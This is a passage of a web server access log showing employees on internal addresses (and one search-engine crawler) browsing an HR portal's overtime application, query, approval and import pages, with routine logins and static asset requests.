"http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 172.16.88.185 - - [01/Dec/2025:18:35:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 172.16.88.185 - - [01/Dec/2025:18:35:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 172.16.88.185 - - [01/Dec/2025:18:35:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6703 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6703 172.16.88.185 - - [01/Dec/2025:18:35:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 172.16.88.185 - - [01/Dec/2025:18:35:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 172.16.88.185 - - [01/Dec/2025:18:35:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 28171 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [01/Dec/2025:18:35:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 28171 100.64.0.1 - - [01/Dec/2025:18:41:30 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:18:41:30 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.11.96 - - [01/Dec/2025:18:50:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.96 - - [01/Dec/2025:18:50:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.96 - - [01/Dec/2025:18:50:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.96 - - [01/Dec/2025:18:50:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.96 - - [01/Dec/2025:18:50:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.96 - - [01/Dec/2025:18:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.96 - - [01/Dec/2025:18:50:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166628 192.168.11.96 - - [01/Dec/2025:18:50:30 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5597 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:18:50:30 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5597 192.168.12.46 - - [01/Dec/2025:19:25:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [01/Dec/2025:19:25:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [01/Dec/2025:19:25:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.46 - - [01/Dec/2025:19:25:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.46 - - [01/Dec/2025:19:25:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [01/Dec/2025:19:25:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.12.46 - - [01/Dec/2025:19:25:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [01/Dec/2025:19:25:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [01/Dec/2025:19:25:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.12.46 - - [01/Dec/2025:19:25:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:25:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.12.46 - - [01/Dec/2025:19:26:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 111592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:26:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 111592 192.168.12.46 - - [01/Dec/2025:19:26:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:26:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.46 - - [01/Dec/2025:19:26:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:26:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [01/Dec/2025:19:35:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 53773 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:35:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 53773 192.168.12.46 - - [01/Dec/2025:19:36:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45292 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:36:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45292 192.168.12.46 - - [01/Dec/2025:19:36:34 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:36:34 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.46 - - [01/Dec/2025:19:36:34 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [01/Dec/2025:19:36:34 